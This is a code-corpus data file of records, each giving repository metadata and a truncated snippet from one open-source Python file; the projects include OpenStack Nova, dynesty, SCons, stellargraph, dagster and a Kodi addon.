8baf247c79526849c640c6e56ca57a708a65bd11
[ "Apache-2.0" ]
null
null
null
.kodi/addons/plugin.video.nasa/addon.py
C6SUMMER/allinclusive-kodi-pi
8baf247c79526849c640c6e56ca57a708a65bd11
[ "Apache-2.0" ]
2
2018-04-17T17:34:39.000Z
2020-07-26T03:43:33.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (C) 2012 Tristan Fischer (sphere@dersphere.de) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lice...
28.165468
78
0.58825
02848fd848435c1364573a8ebc363521df0e76ac
4,066
py
Python
ck/repo/module/math.conditions/module.py
santosh653/ck
f09b836df48598aff4db241b52c37899a73eb569
[ "BSD-3-Clause" ]
480
2015-02-04T16:07:43.000Z
2021-08-17T13:47:53.000Z
ck/repo/module/math.conditions/module.py
santosh653/ck
f09b836df48598aff4db241b52c37899a73eb569
[ "BSD-3-Clause" ]
166
2015-02-05T16:03:52.000Z
2021-08-16T14:21:58.000Z
ck/repo/module/math.conditions/module.py
santosh653/ck
f09b836df48598aff4db241b52c37899a73eb569
[ "BSD-3-Clause" ]
62
2015-02-05T17:21:14.000Z
2021-09-05T10:24:53.000Z
# # Collective Knowledge (check conditions) # # See CK LICENSE.txt for licensing details # See CK COPYRIGHT.txt for copyright details # # Developer: Grigori Fursin, Grigori.Fursin@cTuning.org, http://fursin.net # cfg={} # Will be updated by CK (meta description of this module) work={} # Will be updated by CK (tempora...
26.232258
86
0.412199
14c1037eba2f3bf18936c7a43c8e18ea5e0fe097
3,569
py
Python
tests/test_misc.py
geoffryan/dynesty
243025cbfc5f1941e9dc1b00348c54f8b877bd6c
[ "MIT" ]
null
null
null
tests/test_misc.py
geoffryan/dynesty
243025cbfc5f1941e9dc1b00348c54f8b877bd6c
[ "MIT" ]
null
null
null
tests/test_misc.py
geoffryan/dynesty
243025cbfc5f1941e9dc1b00348c54f8b877bd6c
[ "MIT" ]
null
null
null
import numpy as np import dynesty import dynesty.utils as dyutil from utils import get_rstate """ Run a series of basic tests changing various things like maxcall options and potentially other things """ nlive = 100 size = 10 # box size def loglike(x): return -0.5 * np.sum(x**2) def loglike_inf(x): r2 = ...
32.445455
72
0.496778
e2856114ca94e2ddb281e883e7f1ba0b48634d0a
2,337
py
Python
etc/conda/python-scons/scons-3.0.0.alpha.20170821/engine/SCons/Tool/m4.py
MShaffar19/toolchain-tools
e4ab3c8d7b1b0633ab08d99b079d4fa678218f8a
[ "Apache-2.0" ]
null
null
null
etc/conda/python-scons/scons-3.0.0.alpha.20170821/engine/SCons/Tool/m4.py
MShaffar19/toolchain-tools
e4ab3c8d7b1b0633ab08d99b079d4fa678218f8a
[ "Apache-2.0" ]
2
2018-12-18T16:18:31.000Z
2019-02-20T10:29:21.000Z
etc/conda/python-scons/scons-3.0.0.alpha.20170821/engine/SCons/Tool/m4.py
StatisKit/toolchain-tools
e4ab3c8d7b1b0633ab08d99b079d4fa678218f8a
[ "Apache-2.0" ]
3
2019-04-11T14:03:34.000Z
2021-03-15T18:19:08.000Z
"""SCons.Tool.m4 Tool-specific initialization for m4. There normally shouldn't be any need to import this module directly. It will usually be imported through the generic SCons.Tool.Tool() selection method. """ # # Copyright (c) 2001 - 2017 The SCons Foundation # # Permission is hereby granted, free of charge, to a...
36.515625
99
0.725289
02c7832686967ca6b035b8ceccb011a3a844cf25
2,392
py
Python
0x06-python-classes/6-square.py
Trice254/alx-higher_level_programming
b49b7adaf2c3faa290b3652ad703914f8013c67c
[ "MIT" ]
null
null
null
0x06-python-classes/6-square.py
Trice254/alx-higher_level_programming
b49b7adaf2c3faa290b3652ad703914f8013c67c
[ "MIT" ]
null
null
null
0x06-python-classes/6-square.py
Trice254/alx-higher_level_programming
b49b7adaf2c3faa290b3652ad703914f8013c67c
[ "MIT" ]
null
null
null
#!/usr/bin/python3 """ Module 6-square Defines class Square with private size and position; and public area Can access and update size and position Can print to stdout the square using #'s """ class Square: """ class Square definition Args: size (int): size of a side in square Functions: ...
24.916667
78
0.508779
3263661be900a6ed75b3ae59daf96d376e910425
3,309
py
Python
PyStationB/libraries/Utilities/psbutils/misc.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
6
2021-09-29T15:46:55.000Z
2021-12-14T18:39:51.000Z
PyStationB/libraries/Utilities/psbutils/misc.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
null
null
null
PyStationB/libraries/Utilities/psbutils/misc.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
3
2021-09-27T10:35:20.000Z
2021-10-02T17:53:07.000Z
# ------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See LICENSE in the repo root for license information. # ----------------------------------------------------------------------...
32.441176
113
0.606528
b8c30f3a13d18e1e5550570d05975e8883758994
3,849
py
Python
nova/scheduler/filters/aggregate_instance_extra_specs.py
teresa-ho/stx-nova
1f82323439da2449edbbaed2fe1c8414a550c86f
[ "Apache-2.0" ]
null
null
null
nova/scheduler/filters/aggregate_instance_extra_specs.py
teresa-ho/stx-nova
1f82323439da2449edbbaed2fe1c8414a550c86f
[ "Apache-2.0" ]
null
null
null
nova/scheduler/filters/aggregate_instance_extra_specs.py
teresa-ho/stx-nova
1f82323439da2449edbbaed2fe1c8414a550c86f
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2012 OpenStack Foundation # Copyright (c) 2012 Cloudscaling # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/l...
37.735294
78
0.616264
411edcdaa36673eabe4bd82bbce1a9d26e335a37
13,980
py
Python
neutron/services/auto_allocate/db.py
BobzhouCH/neutron-nfv-acc
05ab9d2079f2b652a4df771c1d6d9ce3b822aaa0
[ "Apache-2.0" ]
null
null
null
neutron/services/auto_allocate/db.py
BobzhouCH/neutron-nfv-acc
05ab9d2079f2b652a4df771c1d6d9ce3b822aaa0
[ "Apache-2.0" ]
null
null
null
neutron/services/auto_allocate/db.py
BobzhouCH/neutron-nfv-acc
05ab9d2079f2b652a4df771c1d6d9ce3b822aaa0
[ "Apache-2.0" ]
null
null
null
# Copyright 2015-2016 Hewlett Packard Enterprise Development Company, LP # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/li...
43.6875
79
0.638984
837fbb4d9afd9c69d94cc2a54635373354957f0c
6,612
py
Python
nnunet/network_architecture/CA_MDD_UNet_DP.py
hasukmin12/nnUNet_MDD_UNet_with_Semi_Supervised
58c5665a5d89d1ad77038e5d6420be76fadab136
[ "Apache-2.0" ]
3
2022-03-07T07:59:14.000Z
2022-03-17T08:50:42.000Z
nnunet/network_architecture/CA_MDD_UNet_DP.py
hasukmin12/nnUNet_MDD_UNet_with_Semi_Supervised
58c5665a5d89d1ad77038e5d6420be76fadab136
[ "Apache-2.0" ]
1
2022-03-07T13:21:42.000Z
2022-03-07T13:21:42.000Z
nnunet/network_architecture/CA_MDD_UNet_DP.py
hasukmin12/nnUNet_MDD_UNet_with_Semi_Supervised
58c5665a5d89d1ad77038e5d6420be76fadab136
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Division of Medical Image Computing, German Cancer Research Center (DKFZ), Heidelberg, Germany # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://w...
40.564417
145
0.574108
b1e3ba1c582ef24775188bed9dafbc22483b17b4
501
py
Python
chat/management/commands/compile_js.py
moustaphacheikh/pychat
05a8b255efda03840a9ce8d39a9ee1d38b87ea67
[ "MIT" ]
null
null
null
chat/management/commands/compile_js.py
moustaphacheikh/pychat
05a8b255efda03840a9ce8d39a9ee1d38b87ea67
[ "MIT" ]
null
null
null
chat/management/commands/compile_js.py
moustaphacheikh/pychat
05a8b255efda03840a9ce8d39a9ee1d38b87ea67
[ "MIT" ]
null
null
null
import os import re from subprocess import call from django.core.management import BaseCommand from django.conf import settings class Command(BaseCommand): help = "Compiles js if it's not compiled" def handle(self, *args, **options): join = os.path.join(settings.PROJECT_DIR, '..', 'fe', 'dist') for dirpath, ...
23.857143
83
0.700599
5e726bee8bd55a8b63a08468b86d4eea5b406694
3,977
py
Python
neural_tangents/utils/test_utils.py
vishalbelsare/neural-tangents
759915fe36ec3a3dc40e09866a3aac94d017f37c
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
neural_tangents/utils/test_utils.py
vishalbelsare/neural-tangents
759915fe36ec3a3dc40e09866a3aac94d017f37c
[ "ECL-2.0", "Apache-2.0" ]
1
2021-06-18T13:57:38.000Z
2021-06-18T13:57:38.000Z
neural_tangents/utils/test_utils.py
vishalbelsare/neural-tangents
759915fe36ec3a3dc40e09866a3aac94d017f37c
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
31.314961
78
0.628866
fd6c70220b618999dcf39d0cec1202c2a4080537
802
py
Python
dayu_widgets/radio_button.py
loonghao/dayu_widgets
42758872993197880f68d141ee1ce314f9b2cfea
[ "MIT" ]
4
2022-03-23T03:33:38.000Z
2022-03-30T08:11:41.000Z
extern/dayu_widgets/radio_button.py
Octmedia/NemoMaya
cca13f371e4aedfc47f9f1bb0a95caa067d33466
[ "MIT" ]
null
null
null
extern/dayu_widgets/radio_button.py
Octmedia/NemoMaya
cca13f371e4aedfc47f9f1bb0a95caa067d33466
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################### # Author: Mu yanru # Date : 2019.2 # Email : muyanru345@163.com ################################################################### """ MRadioButton """ # Import future modules from __future__ import absol...
25.870968
85
0.613466
99a65bc531e25f5a8aac037c87bf78db8445a7fb
3,465
py
Python
src/sooli/playground.py
ragavvenkatesan/HandCricket
3622091057c1f0d950452e97264455ba6993f31a
[ "MIT" ]
null
null
null
src/sooli/playground.py
ragavvenkatesan/HandCricket
3622091057c1f0d950452e97264455ba6993f31a
[ "MIT" ]
null
null
null
src/sooli/playground.py
ragavvenkatesan/HandCricket
3622091057c1f0d950452e97264455ba6993f31a
[ "MIT" ]
null
null
null
from numpy import random, asarray, inf from sooli import Inning from sooli import Player from sooli import PlayerModes class Playground(object): """ Playground will initialize two environments one for first inning and one for second inning. Playground will initialize two players in batting and bowling mo...
36.09375
95
0.608081
54005d6d4ad6d50bd064cd0b949a287d6385b433
1,152
py
Python
model.py
Mocktic/sign-to-speech
394ccabce96165450bcba05a32ee4eb61274daf8
[ "MIT" ]
13
2019-04-02T13:20:10.000Z
2021-08-06T16:42:43.000Z
model.py
Mocktic/sign-to-speech
394ccabce96165450bcba05a32ee4eb61274daf8
[ "MIT" ]
4
2019-05-30T19:56:33.000Z
2019-05-30T21:14:10.000Z
model.py
Mocktic/sign-to-speech
394ccabce96165450bcba05a32ee4eb61274daf8
[ "MIT" ]
4
2019-08-20T12:07:49.000Z
2021-04-28T15:54:48.000Z
#!/usr/bin/env python3 # Universal Sign Language Translator # Created by Team Axenhammer, https://github.com/Axenhammer # Licensed as MIT from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten from tensorflow.keras.layers import Conv2D, MaxPooling2D # mor...
28.8
83
0.752604
ea85e142df2f50142cb104f45bc75a174accb8c0
4,556
py
Python
samples/openapi3/client/petstore/python-experimental/petstore_api/api/fake_api_endpoints/json_with_charset.py
sre-holdings/openapi-generator
a0a8a5e8416723daa3e2e5a584fae39bcf2bcdff
[ "Apache-2.0" ]
null
null
null
samples/openapi3/client/petstore/python-experimental/petstore_api/api/fake_api_endpoints/json_with_charset.py
sre-holdings/openapi-generator
a0a8a5e8416723daa3e2e5a584fae39bcf2bcdff
[ "Apache-2.0" ]
9
2021-11-01T08:59:31.000Z
2022-03-31T08:31:57.000Z
samples/openapi3/client/petstore/python-experimental/petstore_api/api/fake_api_endpoints/json_with_charset.py
1inker/openapi-generator
042f717352998149446d4ec3ee1369ee6fd926d6
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Generated by: https://openapi-generator.tech """ from dataclasses import dataclass import re # noqa: F401 import sys # noqa: F401 import typing import urllib3 import functools # noqa: F401 from urllib3._collections import HTTPHeaderDict from petstore_api import api_client, exceptions imp...
27.445783
103
0.675593
f1b5d543ceb3b8f85d1888176102009e765def2d
5,171
py
Python
test/test_aabb.py
jbschwartz/spatial
04dc619ae024ebb4f516cd6483f835421c7d84b1
[ "MIT" ]
1
2022-01-02T22:03:09.000Z
2022-01-02T22:03:09.000Z
test/test_aabb.py
jbschwartz/spatial
04dc619ae024ebb4f516cd6483f835421c7d84b1
[ "MIT" ]
null
null
null
test/test_aabb.py
jbschwartz/spatial
04dc619ae024ebb4f516cd6483f835421c7d84b1
[ "MIT" ]
null
null
null
import math import unittest from spatial import AABB, CoordinateAxes, Ray, Vector3 class TestAABB(unittest.TestCase): def setUp(self) -> None: self.v1 = Vector3(1, 2, 3) self.v2 = Vector3(-1, -2, -3) self.v3 = Vector3(0, 1, 2) self.v4 = Vector3(4, 4, 4) self.aabb = AABB([...
36.935714
97
0.615742
fac538eb77915600069b769afae6f4ab3fa7f671
41,810
py
Python
stellargraph/layer/graph_attention.py
DataLab-CQU/stellargraph
ce29576b82775cf87d2c1c7d20eaffa4c5e5b11a
[ "Apache-2.0" ]
2,428
2018-09-14T01:47:25.000Z
2022-03-31T06:43:35.000Z
stellargraph/layer/graph_attention.py
jiayunz/stellargraph
5ca1e59e91cb6ac470bf19ff3da39b3a1a68650e
[ "Apache-2.0" ]
1,749
2018-09-14T01:31:19.000Z
2022-03-17T08:40:16.000Z
stellargraph/layer/graph_attention.py
jiayunz/stellargraph
5ca1e59e91cb6ac470bf19ff3da39b3a1a68650e
[ "Apache-2.0" ]
390
2018-09-18T07:05:44.000Z
2022-03-24T00:40:23.000Z
# -*- coding: utf-8 -*- # # Copyright 2018-2020 Data61, CSIRO # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
43.780105
202
0.617436
cc9d351cf822e16b88d496ef90ec00e697c98364
17,818
py
Python
bin/impl/fluo_deploy/main.py
keith-turner/muchos
9adf31bc1deb486d34bd9b5db1d42c96a8c6ecd8
[ "Apache-2.0" ]
null
null
null
bin/impl/fluo_deploy/main.py
keith-turner/muchos
9adf31bc1deb486d34bd9b5db1d42c96a8c6ecd8
[ "Apache-2.0" ]
null
null
null
bin/impl/fluo_deploy/main.py
keith-turner/muchos
9adf31bc1deb486d34bd9b5db1d42c96a8c6ecd8
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # Copyright 2014 Fluo authors (see AUTHORS) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
40.130631
181
0.709507
636af287553eca2500ce16752c356df1a29081a6
6,351
py
Python
tests/parsers/oxml.py
GuyLewin/plaso
d36dc00d97f0e1743c8310af6c7af706b52daf01
[ "Apache-2.0" ]
null
null
null
tests/parsers/oxml.py
GuyLewin/plaso
d36dc00d97f0e1743c8310af6c7af706b52daf01
[ "Apache-2.0" ]
null
null
null
tests/parsers/oxml.py
GuyLewin/plaso
d36dc00d97f0e1743c8310af6c7af706b52daf01
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for the OXML parser.""" from __future__ import unicode_literals import unittest from plaso.formatters import oxml as _ # pylint: disable=unused-import from plaso.lib import definitions from plaso.parsers import oxml from tests import test_lib as shared_test_li...
37.579882
80
0.695324
3fe649303c2ff9d5889a667a2111ef4d34daf756
677
py
Python
setup.py
nclJoshCowley/PokerEquityCalc
6dcb47233b1db0f24d6715d7203efbed66d90fe9
[ "MIT" ]
null
null
null
setup.py
nclJoshCowley/PokerEquityCalc
6dcb47233b1db0f24d6715d7203efbed66d90fe9
[ "MIT" ]
null
null
null
setup.py
nclJoshCowley/PokerEquityCalc
6dcb47233b1db0f24d6715d7203efbed66d90fe9
[ "MIT" ]
null
null
null
""" Poker Equity Calculator, work in progress. """ import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="pokerequitycalc", version="0.0.1", author="Josh Cowley", author_email="josh.cowley@hotmail.com", description="Equity calculator for Poke...
26.038462
53
0.661743
2dbea2222f04bf2cda94fccbc69e05d1d557b4ab
1,664
py
Python
oscar/bin/enhancer.py
sainjusajan/django-oscar
466e8edc807be689b0a28c9e525c8323cc48b8e1
[ "BSD-3-Clause" ]
null
null
null
oscar/bin/enhancer.py
sainjusajan/django-oscar
466e8edc807be689b0a28c9e525c8323cc48b8e1
[ "BSD-3-Clause" ]
null
null
null
oscar/bin/enhancer.py
sainjusajan/django-oscar
466e8edc807be689b0a28c9e525c8323cc48b8e1
[ "BSD-3-Clause" ]
null
null
null
#!/root/Desktop/django-oscar/oscar/bin/python # # The Python Imaging Library # $Id$ # # this demo script creates four windows containing an image and a slider. # drag the slider to modify the image. # import sys if sys.version_info[0] > 2: import tkinter else: import Tkinter as tkinter from P...
25.6
89
0.623197
edd8cd08a20e6165ceeab1eb1fad5d4e2c71533d
53,370
py
Python
nova/db/sqlalchemy/models.py
belmiromoreira/nova
d03ef34b0b1ed96a2f2bea1f5f01f09436c55125
[ "Apache-2.0" ]
null
null
null
nova/db/sqlalchemy/models.py
belmiromoreira/nova
d03ef34b0b1ed96a2f2bea1f5f01f09436c55125
[ "Apache-2.0" ]
null
null
null
nova/db/sqlalchemy/models.py
belmiromoreira/nova
d03ef34b0b1ed96a2f2bea1f5f01f09436c55125
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2011 X.commerce, a business unit of eBay Inc. # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # Copyright 2011 Piston Cloud Computing, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (...
37.505271
79
0.649578
d00037bfa38082fb662368daa635a7ebef732c96
991
py
Python
1-10/solution1.py
jmugz3/euler
03e61dee707c9a3b66b7c745d042754052d628c3
[ "MIT" ]
null
null
null
1-10/solution1.py
jmugz3/euler
03e61dee707c9a3b66b7c745d042754052d628c3
[ "MIT" ]
null
null
null
1-10/solution1.py
jmugz3/euler
03e61dee707c9a3b66b7c745d042754052d628c3
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """ If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. https://projecteuler.net/problem=1 """ input = [x for x in range(0, 10)] test = [x for x in range(0, 1...
20.645833
73
0.566095
c32438e3d96c09897016a3078e27f0539b3cf4c6
16,995
py
Python
modules/block_strided_convolution.py
gwenniger/multi-hare
fb3f655cbbf4af6ccbfc77d587b8ea2924b300cd
[ "Apache-2.0" ]
7
2019-12-04T05:58:40.000Z
2021-08-04T07:19:55.000Z
modules/block_strided_convolution.py
gwenniger/multi-hare
fb3f655cbbf4af6ccbfc77d587b8ea2924b300cd
[ "Apache-2.0" ]
null
null
null
modules/block_strided_convolution.py
gwenniger/multi-hare
fb3f655cbbf4af6ccbfc77d587b8ea2924b300cd
[ "Apache-2.0" ]
4
2019-12-03T23:42:00.000Z
2020-12-19T19:48:04.000Z
from modules.size_two_dimensional import SizeTwoDimensional from torch.nn.modules.module import Module import torch.nn as nn import torch.nn.functional as F from util.tensor_chunking import TensorChunking from util.tensor_list_chunking import TensorListChunking from modules.inside_model_gradient_clipping import InsideM...
51.189759
138
0.653486
7bce245ff0b575b18257af83cf0df8bdf0755edc
5,159
py
Python
build/android/pylib/device/decorators.py
justremotephone/android_external_chromium_org
246856e61da7acf5494076c74198f2aea894a721
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2020-01-25T10:18:18.000Z
2021-01-23T15:29:56.000Z
build/android/pylib/device/decorators.py
justremotephone/android_external_chromium_org
246856e61da7acf5494076c74198f2aea894a721
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
build/android/pylib/device/decorators.py
justremotephone/android_external_chromium_org
246856e61da7acf5494076c74198f2aea894a721
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2020-11-04T07:24:13.000Z
2020-11-04T07:24:13.000Z
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Function/method decorators that provide timeout and retry logic. """ import functools import os import sys from pylib import constants from pylib.devic...
35.335616
78
0.717969
fcb6993c970890f035d8e85d848fba4eae32ec4b
10,044
py
Python
ytelapi/controllers/sms_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
ytelapi/controllers/sms_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
ytelapi/controllers/sms_controller.py
Ytel-Inc/YtelAPI-Python
139dc02d93e74c78b6c3d91e3002ae98e2270223
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ ytelapi This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ from .base_controller import BaseController from ..api_helper import APIHelper from ..configuration import Configuration from ..http.auth.basic_auth import BasicAuth class SMS...
36.391304
84
0.570191
ce70614bfbf39a3c81b7d43bec455ea6dae568d8
30,378
py
Python
sdk/python/pulumi_oci/core/compute_image_capability_schema.py
EladGabay/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
5
2021-08-17T11:14:46.000Z
2021-12-31T02:07:03.000Z
sdk/python/pulumi_oci/core/compute_image_capability_schema.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
1
2021-09-06T11:21:29.000Z
2021-09-06T11:21:29.000Z
sdk/python/pulumi_oci/core/compute_image_capability_schema.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
2
2021-08-24T23:31:30.000Z
2022-01-02T19:26:54.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
54.246429
347
0.69073
adbd3ee99ade421684d957a0781f1b6a3af62cb4
9,788
py
Python
python_modules/libraries/dagster-celery/dagster_celery/cli.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
python_modules/libraries/dagster-celery/dagster_celery/cli.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
python_modules/libraries/dagster-celery/dagster_celery/cli.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
import os import subprocess import uuid import click from celery.utils.nodenames import default_nodename, host_format import dagster._check as check from dagster.config.post_process import post_process_config from dagster.config.validate import validate_config from dagster.core.errors import DagsterInvalidConfigError...
32.518272
100
0.666326
c8adb5782b0d66b026bad95818af2fa2f118d7f2
2,379
py
Python
hijack/tests/test_hijack_url_settings.py
khpeterson/django-hijack
c9375e4b84ccf713d79e0f35be04dd1681e3743e
[ "MIT" ]
null
null
null
hijack/tests/test_hijack_url_settings.py
khpeterson/django-hijack
c9375e4b84ccf713d79e0f35be04dd1681e3743e
[ "MIT" ]
null
null
null
hijack/tests/test_hijack_url_settings.py
khpeterson/django-hijack
c9375e4b84ccf713d79e0f35be04dd1681e3743e
[ "MIT" ]
2
2019-06-28T16:54:27.000Z
2020-05-28T04:55:03.000Z
# Test cases for settings-dependent urls/decorators. Need to be run separately from HijackTests from unittest import skipIf import sys from hijack import settings as hijack_settings from hijack.tests.test_hijack import BaseHijackTests from hijack.tests.utils import SettingsOverride class AllowGetRequestsHijackTestC...
42.482143
105
0.704498
fb79a0d7c71d76e7ebb06d26d0f96f3e129a6adb
3,323
py
Python
mmseg/models/decode_heads/fcn_head.py
heytanay/mmsegmentation
7ddd2fe2ecff9c95999bd00ec05cc37eafb558f8
[ "Apache-2.0" ]
1
2022-02-28T03:24:36.000Z
2022-02-28T03:24:36.000Z
mmseg/models/decode_heads/fcn_head.py
heytanay/mmsegmentation
7ddd2fe2ecff9c95999bd00ec05cc37eafb558f8
[ "Apache-2.0" ]
2
2022-02-25T03:07:23.000Z
2022-03-08T12:54:05.000Z
mmseg/models/decode_heads/fcn_head.py
heytanay/mmsegmentation
7ddd2fe2ecff9c95999bd00ec05cc37eafb558f8
[ "Apache-2.0" ]
1
2022-02-14T09:44:41.000Z
2022-02-14T09:44:41.000Z
# Copyright (c) OpenMMLab. All rights reserved. import torch import torch.nn as nn from mmcv.cnn import ConvModule from ..builder import HEADS from .decode_head import BaseDecodeHead @HEADS.register_module() class FCNHead(BaseDecodeHead): """Fully Convolution Networks for Semantic Segmentation. This head is...
34.257732
79
0.562143
d827207b431f1175f569b8a0a7b2ce5f6054cd9d
1,933
py
Python
igtagger/annotator/lexical_tree.py
institutional-grammar-pl/ig-tagger
a162525dd3c15517be2b56bb63b2d76db5508604
[ "MIT" ]
null
null
null
igtagger/annotator/lexical_tree.py
institutional-grammar-pl/ig-tagger
a162525dd3c15517be2b56bb63b2d76db5508604
[ "MIT" ]
null
null
null
igtagger/annotator/lexical_tree.py
institutional-grammar-pl/ig-tagger
a162525dd3c15517be2b56bb63b2d76db5508604
[ "MIT" ]
null
null
null
class LexicalTreeNode: def __init__(self, row): self.id = row[0] self.value = row[1] self.lemm = row[2] self.tag = row[3] self.polarity = row[5] self.parent = row[6] self.relation = row[7] self.children = [] def __repr__(self): return str(...
28.850746
87
0.56389